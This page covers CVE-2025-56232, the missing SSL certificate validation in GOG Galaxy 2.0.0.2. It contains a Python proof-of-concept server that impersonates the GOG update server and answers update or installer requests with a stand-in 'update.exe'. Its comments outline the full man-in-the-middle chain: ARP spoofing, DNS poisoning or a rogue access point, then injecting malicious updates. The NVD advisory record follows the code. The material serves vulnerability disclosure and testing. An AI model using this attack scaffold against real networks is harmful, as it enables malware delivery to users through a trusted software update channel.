CVE-2025-56232

#!/usr/bin/env python3 """ CVE-2025-56232 - GOG Galaxy Missing SSL Certificate Validation PoC This is a simplified demonstration of the MitM attack vector. For educational and authorized testing purposes only. """ import http.server import ssl import socketserver from urllib.parse import urlparse class MaliciousUpdateServer(http.server.SimpleHTTPRequestHandler): """Malicious server that impersonates GOG update server""" def do_GET(self): parsed_path = urlparse(self.path) print(f"[*] Incoming request: {self.path}") # Check if this is an update request if 'update' in parsed_path.path.lower() or 'installer' in parsed_path.path.lower(): print("[+] Intercepted update request - serving malicious payload") # Serve malicious payload instead of legitimate update self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.send_header('Content-Disposition', 'attachment; filename=update.exe') self.end_headers() # In real attack: malicious executable would be sent here # For demo purposes, sending a benign response self.wfile.write(b'MALICIOUS_PAYLOAD_PLACEHOLDER') else: # Forward to legitimate server in real attack self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[REQUEST] {format % args}") def start_mitm_proxy(listen_port=8080): """Start the MitM proxy server""" print(f"[*] Starting malicious server on port {listen_port}") print("[*] In real attack, this would be positioned between victim and GOG server") # Note: In actual exploitation: # 1. Attacker needs to be in MitM position (ARP spoof, DNS poisoning, rogue AP) # 2. Attacker would forward legitimate traffic while injecting malicious updates # 3. No SSL certificate validation on client side allows successful impersonation with socketserver.TCPServer(("", listen_port), MaliciousUpdateServer) as httpd: print(f"[*] Server listening on port {listen_port}") httpd.serve_forever() if __name__ == "__main__": start_mitm_proxy()

{"cve": {"id": "CVE-2025-56232", "sourceIdentifier": "[email protected]", "published": "2025-11-05T19:16:01.610", "lastModified": "2026-01-09T17:54:51.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GOG Galaxy 2.0.0.2 suffers from Missing SSL Certificate Validation. An attacker who controls the local network, DNS, or a proxy can perform a man-in-the-middle (MitM) attack to intercept update requests and replace installer or update packages with malicious files."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-599"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cdprojekt:gog_galaxy:2.0.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "EC54BCE1-03E0-499D-8449-B711BC6FCA54"}]}]}], "references": [{"url": "https://www.notion.so/CVE-2025-56232-2a04e9f2a40d80dab203e39b5c9462f6", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://youtu.be/WchHCmqGaFQ", "source": "[email protected]", "tags": ["Exploit"]}]}}